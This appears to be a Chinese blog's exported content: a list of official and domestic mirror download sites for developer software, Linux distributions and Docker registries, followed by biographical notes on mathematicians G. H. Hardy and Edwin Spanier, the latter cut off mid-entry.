https://mirrors.ustc.edu.cn/kubernetes/ K3sOfficial https://github.com/k3s-io/k3s/releases/ Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/k3s-io/k3s/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/k3s-io/k3s/ MinikubeOfficial https://github.com/kubernetes/minikube/releases Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/kubernetes/minikube/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/kubernetes/minikube/ HelmOfficial https://helm.sh/docs/intro/install/ Mirrors HUAWEI https://repo.huaweicloud.com/helm/ HarborOfficial https://github.com/goharbor/harbor/releases Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/goharbor/harbor/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/goharbor/harbor/ JenkinsOfficial 安装包：https://www.jenkins.io/zh/download/ 插件：https://plugins.jenkins.io/ Mirrors Aliyun 安装包：https://mirrors.aliyun.com/jenkins/war/ 插件：https://mirrors.aliyun.com/jenkins/plugins/ Tencent 安装包：https://mirrors.cloud.tencent.com/jenkins/war/ 插件：https://mirrors.cloud.tencent.com/jenkins/plugins/ HUAWEI 安装包：https://repo.huaweicloud.com/jenkins/war/ 插件：https://repo.huaweicloud.com/jenkins/plugins/ 中科大 安装包：https://mirrors.ustc.edu.cn/jenkins/war/ 插件：https://mirrors.ustc.edu.cn/jenkins/plugins/ 清华 安装包：https://mirrors.tuna.tsinghua.edu.cn/jenkins/war/ 插件：https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/ 北京外国语大学 安装包：https://mirrors.bfsu.edu.cn/jenkins/war/ 插件：https://mirrors.bfsu.edu.cn/jenkins/plugins/ GitLab-ceOfficial https://packages.gitlab.com/gitlab/gitlab-ce Mirrors Aliyun https://mirrors.aliyun.com/gitlab-ce/ Tencent https://mirrors.cloud.tencent.com/gitlab-ce/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gitlab-ce/ GitLab-runnerOfficial https://docs.gitlab.com/runner/install/ Mirrors Tencent https://mirrors.cloud.tencent.com/gitlab-runner/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gitlab-runner/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gitlab-runner/ ElasticSearchOfficial https://www.elastic.co/cn/downloads/elasticsearch Mirrors elastic 中文社区 https://elasticsearch.cn/download/ Aliyun https://mirrors.aliyun.com/elasticstack/ HUAWEI https://repo.huaweicloud.com/elasticsearch/ Tencent https://mirrors.cloud.tencent.com/elasticstack/ 清华 https://mirrors.tuna.tsinghua.edu.cn/elasticstack/ 南京邮电 http://mirrors.njupt.edu.cn/elasticstack/ LogstashOfficial https://www.elastic.co/cn/downloads/logstash Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/logstash/ KibanaOfficial https://www.elastic.co/cn/downloads/kibana Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/kibana/ FilebeatOfficial https://www.elastic.co/cn/downloads/beats/filebeat Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/filebeat/ MySQLOfficial https://dev.mysql.com/downloads/repo/yum/ Mirrors Aliyun https://developer.aliyun.com/mirror/mysql HUAWEI https://repo.huaweicloud.com/mysql/Downloads/ Tencent https://mirrors.cloud.tencent.com/mysql/ Souhu http://mirrors.sohu.com/mysql/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mysql/ 中科大 https://mirrors.ustc.edu.cn/mysql-ftp/Downloads/ 南阳理工 https://mirror.nyist.edu.cn/mysql/ 北京外国语大学 https://mirrors.bfsu.edu.cn/mysql/ MariaDBOfficial https://mariadb.org/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/mariadb Tencent https://mirrors.cloud.tencent.com/mariadb/ HUAWEI https://repo.huaweicloud.com/mariadb/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mariadb/ 中科大 https://mirrors.ustc.edu.cn/mariadb/ PerconaOfficial https://www.percona.com/downloads/ Mirrors Tencent https://mirrors.cloud.tencent.com/percona/ 清华 https://mirrors.tuna.tsinghua.edu.cn/percona/ 中科大 https://mirrors.ustc.edu.cn/percona/ MongoDBOfficial https://www.mongodb.com/try/download/community Mirrors Aliyun https://developer.aliyun.com/mirror/mongodb Tencent https://mirrors.cloud.tencent.com/mongodb/ 163 http://mirrors.163.com/mongodb/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mongodb/ 北京外国语大学 https://mirrors.bfsu.edu.cn/mongodb/ 上海交通大学 https://mirrors.sjtug.sjtu.edu.cn/mongodb/ RedisOfficial https://redis.io/download/ Mirrors HUAWEI https://repo.huaweicloud.com/redis/ PostgreSQLOfficial https://www.postgresql.org/download/ Mirrors Aliyun https://mirrors.aliyun.com/postgresql/ Tencen https://mirrors.cloud.tencent.com/postgresql/ HUAWEI https://repo.huaweicloud.com/postgresql/ 清华 https://mirrors.tuna.tsinghua.edu.cn/postgresql/ 中科大 https://mirrors.ustc.edu.cn/postgresql/ 浙江大学 http://mirrors.zju.edu.cn/postgresql/ 南阳理工 https://mirror.nyist.edu.cn/postgresql/ 北京外国语大学 https://mirrors.bfsu.edu.cn/postgresql/ GolangOfficial https://go.dev/dl/ Mirrors Go 语言中文网 https://studygolang.com/dl Aliyun https://mirrors.aliyun.com/golang/ Proxy-io https://gomirrors.org/ 中科大 https://mirrors.ustc.edu.cn/golang/ NodeOfficial https://nodejs.org/zh-cn/download/ Mirrors Aliyun https://mirrors.aliyun.com/nodejs-release/ HUAWEI https://repo.huaweicloud.com/nodejs/ Tencent https://mirrors.cloud.tencent.com/nodejs-release/ 清华 https://mirrors.tuna.tsinghua.edu.cn/nodejs-release/ 中科大 https://mirrors.ustc.edu.cn/node/ 北京外国语大学 https://mirrors.bfsu.edu.cn/nodejs-release/ YarnOfficial https://github.com/yarnpkg/yarn/releases Mirrors HUAWEI https://repo.huaweicloud.com/yarn/ PythonOfficial https://www.python.org/downloads/ Mirrors HUAWEI https://repo.huaweicloud.com/python/ 北京交通 https://mirror.bjtu.edu.cn/python/ RustOfficial https://forge.rust-lang.org/infra/other-installation-methods.html Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/rustup/ 上海交通大学 https://mirror.sjtu.edu.cn/rust-static/ ZabbixOfficial https://www.zabbix.com/cn/download Mirrors Aliyun https://mirrors.aliyun.com/zabbix HUAWEI https://repo.huaweicloud.com/zabbix/ Tencent https://mirrors.cloud.tencent.com/zabbix/ 清华 https://mirrors.tuna.tsinghua.edu.cn/zabbix/ 南京邮电 http://mirrors.njupt.edu.cn/zabbix/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/zabbix/ 南阳理工 https://mirror.nyist.edu.cn/zabbix/ 北京外国语大学 https://mirrors.bfsu.edu.cn/zabbix/ PrometheusOfficial https://grafana.com/grafana/download Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/prometheus/prometheus/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/prometheus/prometheus/ 上海交通大学 https://mirror.sjtu.edu.cn/github-release/prometheus/?mirror_intel_list此地址下包含了 prometheus 应用体系的大部分软件，包含： alertmanager blackbox_exporter consul_exporter graphite_exporter haproxy_exporter memcached_exporter mysqld_exporter node_exporter prometheus pushgateway statsd_exporter GrafanaOfficial https://grafana.com/grafana/download Mirrors Aliyun https://developer.aliyun.com/mirror/grafana HUAWEI https://repo.huaweicloud.com/grafana/ Tencent https://mirrors.cloud.tencent.com/grafana/ 清华 https://mirrors.tuna.tsinghua.edu.cn/grafana/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/grafana/ 北京外国语大学 https://mirrors.bfsu.edu.cn/grafana/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/grafana/ PinpointOfficial https://github.com/pinpoint-apm/pinpoint/releases Mirrors HUAWEI https://repo.huaweicloud.com/pinpoint/ ApacheOfficial https://httpd.apache.org/download.cgi Mirrors Aliyun https://developer.aliyun.com/mirror/apache HUAWEI https://repo.huaweicloud.com/apache/ Tencent https://mirrors.cloud.tencent.com/apache/ Souhu http://mirrors.sohu.com/apache/ 北大 https://mirrors.pku.edu.cn/apache/ 清华 https://mirrors.tuna.tsinghua.edu.cn/apache/ 中科大 https://mirrors.ustc.edu.cn/apache/ 北京交通 https://mirror.bjtu.edu.cn/apache/ NginxOfficial http://nginx.org/en/download.html Mirrors HUAWEI https://repo.huaweicloud.com/nginx/ Souhu http://mirrors.sohu.com/nginx 中科大 https://mirrors.ustc.edu.cn/nginx/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/nginx/ OpenRestyOfficial https://openresty.org/cn/download.html Mirrors Tencent https://mirrors.cloud.tencent.com/openresty/ HUAWEI https://repo.huaweicloud.com/openresty/ 清华 https://mirrors.tuna.tsinghua.edu.cn/openresty/ 中科大 https://mirrors.ustc.edu.cn/openresty/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/openresty/ 北京外国语大学 https://mirrors.bfsu.edu.cn/openresty/ KeepalivedOfficial https://www.keepalived.org/download.html Mirrors HUAWEI https://repo.huaweicloud.com/keepalived/ CephOfficial https://docs.ceph.com/en/quincy/install/get-packages/ Mirrors Aliyun https://developer.aliyun.com/mirror/ceph Tencent https://mirrors.cloud.tencent.com/ceph/ HUAWEI https://repo.huaweicloud.com/ceph/ 163 http://mirrors.163.com/ceph/ 清华 https://mirrors.tuna.tsinghua.edu.cn/ceph/ 重庆大学 https://mirrors.cqu.edu.cn/ceph/ 中科大 https://mirrors.ustc.edu.cn/ceph/ InfluxdataOfficial https://portal.influxdata.com/downloads/ Mirrors Tencent https://mirrors.cloud.tencent.com/influxdata/ 清华 https://mirrors.tuna.tsinghua.edu.cn/influxdata/ 中科大 https://mirrors.ustc.edu.cn/influxdata/ 北京外国语大学 https://mirrors.bfsu.edu.cn/influxdata/ ClickHouseOfficial https://clickhouse.com/#quick-start Mirrors Aliyun https://mirrors.aliyun.com/clickhouse/ 清华 https://mirrors.tuna.tsinghua.edu.cn/clickhouse/ RabbitmqOfficial https://www.rabbitmq.com/download.html Mirrors HUAWEI https://repo.huaweicloud.com/rabbitmq-server/ ETCDOfficial https://github.com/etcd-io/etcd/releases Mirrors HUAWEI https://repo.huaweicloud.com/etcd/ WireSharkOfficial https://www.wireshark.org/ Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/wireshark/ 上海交通大学 https://mirror.sjtu.edu.cn/wireshark/ VirtualboxOfficial https://www.virtualbox.org/wiki/Downloads Mirrors Tencent https://mirrors.cloud.tencent.com/virtualbox/ 清华 https://mirrors.tuna.tsinghua.edu.cn/virtualbox/ 北京外国语大学 https://mirrors.bfsu.edu.cn/virtualbox/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/virtualbox/ iinaOfficial https://github.com/iina/iina/releases/ Mirrors Aliyun https://mirrors.aliyun.com/iina/ Tencent https://mirrors.cloud.tencent.com/iina/ 清华 https://mirrors.tuna.tsinghua.edu.cn/iina/ 北京外国语大学 https://mirrors.bfsu.edu.cn/iina/ chromiumOfficial https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html Mirrors Aliyun https://registry.npmmirror.com/binary.html?path=chromium-browser-snapshots/ huaweicloud https://repo.huaweicloud.com/chromium-browser-snapshots/ ungoogled-software.github.io(ungoogle chromium) https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/ System-Mirror系统镜像，又大又远，更需要找到好用优秀的国内镜像。 CentOS尽管 CentOS 不再更新了，但它仍旧并且还将持续是国内企业系统主力军。 可能官方考虑到下载困难的问题，官方也列出了距离使用者更近的镜像列表，可谓贴心。 Official https://www.centos.org/download/ Mirrors Aliyun https://mirrors.aliyun.com/centos/ Tencent https://mirrors.cloud.tencent.com/centos/ HUAWEI https://repo.huaweicloud.com/centos/ 163 http://mirrors.163.com/centos/ Souhu http://mirrors.sohu.com/centos/ 北大 https://mirrors.pku.edu.cn/centos/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos/ 中科大 https://mirrors.ustc.edu.cn/centos/ 浙江大学 http://mirrors.zju.edu.cn/centos/ 南阳理工 https://mirror.nyist.edu.cn/centos/ 兰州大学 https://mirror.lzu.edu.cn/centos/ 东北大学 http://mirror.neu.edu.cn/centos/ 大连东软 http://mirrors.neusoft.edu.cn/centos/ 上海交通 http://ftp.sjtu.edu.cn/centos/ 北京交通 https://mirror.bjtu.edu.cn/centos/ 大连理工 http://mirror.dlut.edu.cn/centos/ 首都在线 http://mirrors.yun-idc.com/centos/ 南京邮电 http://mirrors.njupt.edu.cn/centos/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/centos/ 重庆大学 https://mirrors.cqu.edu.cn/centos/ 北京外国语大学 https://mirrors.bfsu.edu.cn/centos/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/centos/ CentOS-altarchARM 架构下的 CentOS 镜像。 Official https://www.centos.org/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/centos-altarch Tencent https://mirrors.cloud.tencent.com/centos-altarch/ HUAWEI https://repo.huaweicloud.com/centos-altarch/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos-altarch/ 中科大 https://mirrors.ustc.edu.cn/centos-altarch/ 兰州大学 https://mirror.lzu.edu.cn/centos-altarch/ 北京外国语大学 https://mirrors.bfsu.edu.cn/centos-altarch/ UbuntuOfficial 官方镜像：https://ubuntu.com/download Mirrors Aliyun https://mirrors.aliyun.com/ubuntu/ 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https://mirrors.bfsu.edu.cn/fedora/ GentooOfficial 官方镜像：https://www.gentoo.org/downloads/ Mirrors Aliyun https://mirrors.aliyun.com/gentoo/ Tencent https://mirrors.cloud.tencent.com/gentoo/ HUAWEI https://repo.huaweicloud.com/gentoo/ 163 http://mirrors.163.com/gentoo/ Souhu http://mirrors.sohu.com/gentoo/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gentoo/ 中科大 https://mirrors.ustc.edu.cn/gentoo/ 浙江大学 http://mirrors.zju.edu.cn/gentoo/ 兰州大学 https://mirror.lzu.edu.cn/gentoo/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gentoo/ 上海交通 https://mirrors.sjtug.sjtu.edu.cn/gentoo/ kaliOfficial https://www.kali.org/get-kali/ Mirrors Aliyun https://mirrors.aliyun.com/kali/ Tencent https://mirrors.cloud.tencent.com/kali/ HUAWEI https://repo.huaweicloud.com/kali/ 清华 https://mirrors.tuna.tsinghua.edu.cn/kali/ 中科大 https://mirrors.ustc.edu.cn/kali/ 浙江大学 http://mirrors.zju.edu.cn/kali/ 南阳理工 https://mirror.nyist.edu.cn/kali/ 大连东软 http://mirrors.neusoft.edu.cn/kali/ 北京交通 https://mirror.bjtu.edu.cn/kali/ 南京邮电 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的使用，又的确会经常遇到网络方面的问题，因此也一直在留心这方面的解决方案，目前大多是提供加速的方案，算是镜像方案之下的一个折中策略。 Official https://hub.docker.com/ 其他的镜像仓库不再单独列出。 Mirrors使用方式： 使用方式都是替换原来镜像的前缀域名即可实现加速效果，比如： 原来地址： eryajf/centos:7.4 # 这个是官方镜像，省略了前边的域名替换地址： docker.mirrors.sjtug.sjtu.edu.cn/eryajf/centos:7.4 另外，加速通常只是针对某个源站进行的加速，国外对公开放的 docker 仓库并非官方一家，因此这里就以源站的维度进行区分，整理出经过测试可用的加速站。 Docker-hub 上海交通大学 docker.mirrors.sjtug.sjtu.edu.cn 中科大 docker.mirrors.ustc.edu.cn docker proxy dockerproxy.com gcr.io docker proxy gcr.dockerproxy.com lank8s：后期可能会转成付费 gcr.lank8s.cn k8s.gcr.io 上海交通大学 k8s-gcr-io.mirrors.sjtug.sjtu.edu.cn docker proxy k8s.dockerproxy.com lank8s lank8s.cn ghcr.io docker proxy ghcr.dockerproxy.com quay.io 中科大 quay.mirrors.ustc.edu.cn"},{"title":"","date":"2026-05-09T01:07:00.000Z","updated":"2026-05-09T01:10:00.000Z","comments":true,"path":"notes/person/12.html","permalink":"https://blog.mhuig.top/notes/person/12","excerpt":"","text":"Hardy Hardy 生平戈弗雷・哈罗德・哈代（Godfrey Harold Hardy，1877-1947），出生于英国克兰利。他的父亲艾萨克・哈代（Isaac Hardy）是克兰利学校（Cranleigh School）的财务主管和美术教师。他母亲索菲亚（Sophia）曾在林肯教师培训学校（Lincoln Teacher's Training School）任教。两位父母都非常聪明，具备一定的数学才能，但由于出身贫寒，没能接受大学教育。 Hardy 在克兰利学校就读至十二岁，并取得了优异的成绩。 Hardy 似乎没有像许多年轻数学家那样，对数学怀有浓厚的兴趣。他在自传中写道：“我不记得自己在少年时期对数学有任何激情，而我对数学家的职业的理解也相当平淡。我认为数学就是考试和奖学金的工具：我想要击败其他男孩，而数学似乎是让我最有把握做到这一点的途径。” 他在 1889 年赢得了温彻斯特公学（Winchester College）的奖学金，并于次年入学。温彻斯特公学是英国最优秀的数学训练学校。 虽然 Hardy 在那里的教育受益匪浅，但他并不喜欢学校里除学术以外的任何训练。值得注意的是，尽管他对球类运动尤其是板球有着浓厚的兴趣，但在温彻斯特公学他从未接受过任何体育训练。 在温彻斯特公学学习期间，Hardy 获得了剑桥大学三一学院（Trinity College, Cambridge）的公开奖学金，并于 1896 年入学。 在剑桥，Hardy 被分配给了最著名的导师罗伯特・拉姆齐・韦伯（Robert Rumsey Webb, 1850-1936）。他很快意识到，Webb 并不关心数学的本质，只关心应试技巧来取得考试中的最高分数（从 1865 年到 1909 年，他训练了 100 名学生登上了 Wrangler 前 10 名）。 Hardy 一度考虑转而学习历史。然而，他最终换了导师，改为洛夫（Augustus Edward Hough Love, 1863-1940）。 Hardy 在他自传中表达了对 Love 的感激之情：是 Love 教授第一次打开了我的眼界，他教会了我一些术语，并让我第一次认真理解了分析学的概念。但是我最感激的是他建议我阅读 Jordan 的《分析教程》（Cours d'analyse）；我永远不会忘记读到这本著作时的震撼，它是我们这一代许多数学家的启蒙之作，我第一次在阅读过程中明白了数学的真正意义。 约当（Marie Ennemond Camille Jordan，1838-1922），法国数学家。以他名字命名的有 Jordan 曲线定理（Jordan curve theorem）、Jordan 矩阵（Jordan matrix）、Jordan 测度（Jordan measure）等。著有《Cours d'analyses》。线性代数中 Gauss-Jordan 消去法（Gauss-Jordan elimination）里的 Jordan 是 Wilhelm Jordan，Jordan 代数（Jordan algebra）里的 Jordan 是 Pascual Jordan。 1898 年，Hardy 在剑桥数学 Tripos 考试中取得了 “第四名优等生”（Fourth Wrangler）的成绩。尽管他认为这个评判系统非常愚蠢，但他仍然为未能夺冠而感到懊恼。 分类 人物 著名的第 1 名优等生 George Airy, Arthur Cayley, Donald Coxeter, Ben Green, Littlewood, 李显龙（Lee Hsien Loong）, Frank Ramsey, Lord Rayleigh, George Stokes 著名的第 2 名优等生 James Clerk Maxwell, J. J. Thomson, Lord Kelvin, William Clifford, Augustus Edward Hough Love, Peter Swinnerton-Dyer 著名的第 3-7 名优等生 第 4 名：George Green, Hardy第 7 名：Bertrand Russell 1900 年，Hardy 被选为三一学院的研究员，随后在 1901 年，他与詹姆斯・吉恩斯（James Hopwood Jeans, 1877-1946）共同获得了 “史密斯奖”。 年份 获奖者 年份 获奖者 1841 George Gabriel Stokes 1842 Arthur Cayley 1845 Lord Kelvin 1854 James Clerk Maxwell 1880 J. J. Thomson 1901 Hardy, Jeans 1912 Louis Mordell 1914 Bhupati Mohan Sen 1930 John Arthur Todd 1931 H. S. M. Coxeter 1936 Alan Turing 部分史密斯奖获得者 Hardy 职业生涯的下一个阶段延续到 1911 年。正如伯克尔（Burkill）在人物传记中写道：“他撰写了许多关于级数和积分收敛性及相关主题的论文。虽然这些工作确立了他作为分析学家的声誉，但他在这一早期阶段对数学最重要的贡献是《纯数学教程》（A Course of Pure Mathematics, 1908）。这本书是第一本严谨的英文版关于数、函数、极限等内容的讲解，专为本科生编写，由此彻底改变了大学数学教学。” Hardy 描述了这一时期的自己：“我写了很多东西…… 但几乎没有什么是重要的；能让我至今还能感到满意的论文不超过四五篇。” 值得注意的是，Hardy 是一个非常诚实的人，特别是在评价自己能力、优缺点时更是如此。 Hardy 的工作在 1911 年发生了重大转变，他开始了与约翰・伊登斯尔・李特尔伍德（John Edensor Littlewood,1885-1977）的合作，这段合作关系持续了 35 年。 接着，在 1913 年初，他收到了来自印度的拉马努金（Srinivasa Ramanujan, 1887-1920）的第一封信，开启了他第二段重要的合作关系。到 1914 年第一次世界大战爆发时，Ramanujan 已经来到了剑桥，这在艰难的战争时期对 Hardy 来说是一种安慰。 Littlewood 离开剑桥，加入皇家炮兵团服役。Hardy 也志愿参战，但因健康原因被拒绝。然而，Hardy 对战争的看法使他与剑桥的大多数同事格格不入。 他对德国怀有深厚的尊敬：他对德国有着强烈的好感。毕竟，德国一直是 19 世纪重要的教育力量。对于东欧、俄罗斯和美国，德国的大学教授了他们何为科研。在大多数方面，德国文化，包括它的社会福利体系，都比他自己的文化更为高尚。Hardy 和罗素（Bertrand Arthur William Russell,1872-1970）一样，都认为这场战争不应该爆发。此外，出于对英国政治家的根深蒂固的不信任，他认为这场战争的错误更多在英国一方。 在剑桥深感不快的 Hardy，于 1919 年接受了牛津大学萨维尔几何学教授（Savilian Professor of Geometry）的职位。这段时期是他最快乐的时光，也是他与 Littlewood 作出最优秀数学成果的阶段。尽管这段合作期间，Littlewood 在剑桥，而 Hardy 在牛津，导致合作在实际操作上相当困难。正如 Hardy 在自传中所写：我在四十出头时状态最佳，那时我在牛津担任教授。 在剑桥期间，他选择不住在最好的房间里，Hilbert 甚至担心 Hardy 没有得到应有的待遇，写信给学院院长，指出 “英国最好的数学家” 应该住在最好的房间里。然而，Hardy 并不在意这些。他在 1924 至 1926 年期间担任科学工作者协会主席。那时，在政治立场分化严重的情况下，Hardy 对美国和苏联抱有同样的好感。他在 1928-29 学年赴普林斯顿交流。 尽管他在剑桥期间并不快乐，但 1931 年在霍布森（Hobson）退休后，Hardy 回到剑桥担任萨德莱尔（Sadleirian）数学教授。Hardy 回到剑桥有两个原因：一是他始终认为剑桥是英国数学的中心，Sadleirian 数学教授是英国数学界最重要的职位；二是他可以在剑桥学院保留自己的房间，而在牛津却无法做到。对于未婚的 Hardy 来说，这在他步入老年时具有特别的吸引力。 Hardy 的研究兴趣涵盖纯数学的多个领域 —— 丢番图分析（Diophantine analysis）、发散级数的求和、傅里叶级数（Fourier series）、黎曼 函数（Riemann zeta function）以及素数分布。他与 Littlewood 长久的合作产生了最高质量的数学成果。在这段合作中，Hardy 承认 Littlewood 在数学技术上的能力更强，但同时，Hardy 也展现了自己卓越的数学洞察力，并且能够将他们的研究成果以极其清晰的方式写成论文。 更为非凡的是 Hardy 与 Ramanujan 的合作。1913 年，Ramanujan 从印度寄给 Hardy 一份手稿，Hardy 立即识别出了其中的天才之处。在此之前，另外两位顶级数学家未能识别出 Ramanujan 的才华。Hardy 将 Ramanujan 带到了剑桥，并共同撰写了五篇极为重要的论文。 Hardy 是个天生的合作者，他不仅与 Littlewood 和 Ramanujan 合作过，还与蒂奇马什（Edward Charles Titchmarsh, 1899-1963）、英厄姆（Albert Edward Ingham, 1900-1967）、朗道（Edmund Georg Hermann Landau, 1877-1938）、波利亚（George Pólya，1887-1985）、赖特（Edward Maitland Wrigh，1906-2005）、罗格辛斯基（Werner Wolfgang Rogosinski，1894-1964）和里斯（Marcel Riesz，1886-1969）共同发表了许多论文。 除了数学之外，Hardy 唯一的热情便是板球。实际上，他的大部分生活都围绕板球展开，至少在板球赛季期间，他的一天通常是：早餐时阅读《泰晤士报》并研究板球比分，然后从上午 9 点到下午 1 点专注于数学研究。午饭后，他会步行到大学的板球场看比赛。傍晚时分，他缓步返回学院，享用晚餐，并在饭后喝一杯葡萄酒。当没有板球比赛时，他会通过《泰晤士报》阅读澳大利亚的板球比赛比分，下午则去打皇家网球（real tennis）。 Hardy 因其怪癖而闻名。他无法忍受拍照，已知的照片只有五张。他也讨厌镜子，进入旅馆房间的第一件事就是用毛巾把镜子盖住。他常玩一个有趣的游戏来 “愚弄上帝”（虽然他一生声称自己不信神）。 比如，他曾在前往丹麦的旅途中寄回一张明信片，声称自己已证明了黎曼猜想。他推测上帝不会允许船在回程时沉没而让他获得类似费马因 “最后定理” 而得到的名声。 1945 年二战结束时，Hardy 的健康迅速恶化。他渴望重新拥有创造力，因为那是他生活中唯一重要的东西，但他知道自己已无法恢复曾经的状态，这使他陷入深深的抑郁。 1946 年，他的身体状况变得极为虚弱，只能靠乘坐出租车出行，走几步就会气喘吁吁。1947 年初夏，Hardy 试图通过服用过量巴比妥类药物自杀，但未成功。之后，他决定静静等待死亡。他在某天早晨突然离世。 Hardy 一生获得了许多荣誉。1910 年，他被选为英国皇家学会（Royal Society）院士，并在 1920 年获得皇家奖章（Royal Medal），1940 年获得西尔维斯特奖章（Sylvester Medal），1947 年获得柯普利奖章（Copley Medal），这些奖项都是为了表彰他在纯数学多个领域的重要贡献。 他还曾两度担任伦敦数学学会主席，并在 1929 年获得该学会的德摩根奖章（De Morgan Medal）。 贡献哈代 - 拉马努金渐近公式（Hardy-Ramanujan asymptotic formula）哈代 - 拉马努金推导出了关于整数分拆数（即将一个数分解为若干整数之和的不同方法数）的渐近公式。这在数论中具有深远的意义。 素数分布Hardy 和 Littlewood 在素数定理方面也做出了贡献，尤其是在证明与素数的渐近分布相关的命题上。并就素数提出了两个著名的 Hardy-Littlewood 猜想： Hardy-Littlewood 第一猜想，也称为素数孪生猜想的推广形式。该猜想涉及了与素数配对的渐近公式。 Hardy-Littlewood 第二猜想是指： 对所有大于等于 2 的整数成立。这里 是素数计数函数。 积分形式的哈代不等式如果 是非负可测函数，以及 ，则 哈代–李特尔伍德极大算子（Hardy–Littlewood maximal operator）是一个在实分析和调和分析中具有重要意义的非线性算子。给定局部可积函数 ，极大函数定义为： 则有如下不等式（Hardy–Littlewood maximal inequality）： 哈代空间（Hardy space）Hardy 在复分析中研究了与复平面单位圆上的函数有关的一类函数空间，这些空间现在被称为 “哈代空间”，在傅里叶分析和算子理论中具有重要作用。 在单位圆盘上的哈代空间 （ ）定义为所有满足如下不等式的全纯函数 ： 哈代 - 温伯格原理Hardy 对遗传学也有贡献，著名的哈代 - 温伯格原理（Hardy-Weinberg principle），就是 Hardy 的板球友向他请教孟德尔遗传理论的结果。哈代 - 温伯格原理指出，在没有其他进化影响的情况下，一个群体中的等位基因频率和基因型频率将从一代到下一代保持不变。这些影响包括遗传漂变、配偶选择、正向交配、自然选择、性选择、突变、基因流动、减数驱动、遗传搭车效应、群体瓶颈效应、奠基者效应、近亲繁殖和远亲繁殖衰退。"},{"title":"","date":"2026-05-16T05:07:00.000Z","updated":"2026-05-16T05:10:00.000Z","comments":true,"path":"notes/person/22.html","permalink":"https://blog.mhuig.top/notes/person/22","excerpt":"","text":"Spanier Spanier 生平埃德温・亨利・斯潘尼尔（Edwin Henry Spanier，1921-1996）出生于美国首都华盛顿特区（Washington, D.C.）。他的童年和青少年时代在 Minnesota 州度过。 他的弟弟杰罗姆・斯潘尼尔（Jerome Spanier，后来成为了一位应用数学家）于 1930 年出生在 Minnesota 州的圣保罗（Saint Paul）。 Jerome 从小热衷于棒球并梦想成为一名投手，而 Spanier 则喜爱国际象棋。 为了互帮互助，兄弟俩达成了一项有趣的交易，Jerome 陪 Spanier 下两盘国际象棋，作为交换，Spanier 则陪弟弟 Jerome 练习一段时间的棒球传接球。 Spanier 在 Minnesota 大学完成了他的本科教育，于 1941 年获得学士学位。然而，第二次世界大战的爆发打断了他的学术生涯。 他应征入伍，在美国陆军通信兵团（U.S. Army Signal Corps）服役了三年。这段军旅生涯不仅磨练了他的意志，也让他接触到了早期通信技术中的实际问题。 退役后，Spanier 进入 Michigan 大学攻读博士学位，师从著名的拓扑学家斯廷罗德（Norman Earl Steenrod，1910-1971）。Steenrod 当时正与艾伦伯格（Samuel Eilenberg，1913-1998）致力于建立同调论的公理化体系（即著名的 Eilenberg-Steenrod axioms），这一宏大的代数拓扑纲领极大地启发了 Spanier。 1947 年，Spanier 凭借博士论文《一般空间的上同调理论》（Cohomology theory for general spaces）获得博士学位。 在这篇论文中，他构建了一种全新的上同调理论，旨在克服奇异上同调在处理局部病态空间时的缺陷，这项工作后来演变为了代数拓扑中的 Alexander-Spanier 上同调理论（Alexander-Spanier cohomology theory）。 由于博士论文的卓越贡献，Spanier 受邀前往普林斯顿高等研究院（IAS）担任为期一年的研究员（1947-1948）。1948 年，他被聘为 Chicago 大学数学系助理教授。 当时的 Chicago 大学数学系在系主任斯通（Marshall Harvey Stone，1903-1989）的带领下，正处于其历史上的黄金时代。 Stone 进行了一系列极具魄力的招聘，汇聚了韦伊（André Weil，1906-1998）、麦克莱恩（Saunders Mac Lane，1909-2005）、陈省身（Shiing-Shen Chern，1911-2004）、齐格蒙德（Antoni Zygmund，1900-1992）、哈尔莫斯（Paul Richard Halmos，1916-2006）等一批世界级大师。在这个充满活力的学术生态中，Spanier 迅速成长为拓扑学界的核心人物。 他于 1949 年在《Annals of Mathematics》上发表了他最重要的早期论文之一《Borsuk 上同伦群》（Borsuk's cohomotopy groups），给出了多面体到球面连续映射的代数分类。 1949 年，陈省身先生来到 Chicago 担任几何学教授，Spanier 随即与之展开了极具成效的合作。 1950 年，两人在《美国国家科学院院刊》（PNAS）上发表了奠基性论文《球面丛的同调结构》（The homology structure of sphere bundles），系统分析了纤维空间的同调群，为后来的示性类理论（characteristic classes theory）和纤维丛（fibre bundles）研究奠定了基础。同年，他受邀在 Harvard 大学举办的国际数学家大会（ICM）上作 45 分钟报告。 1952 至 1953 年，Spanier 获得了 Guggenheim 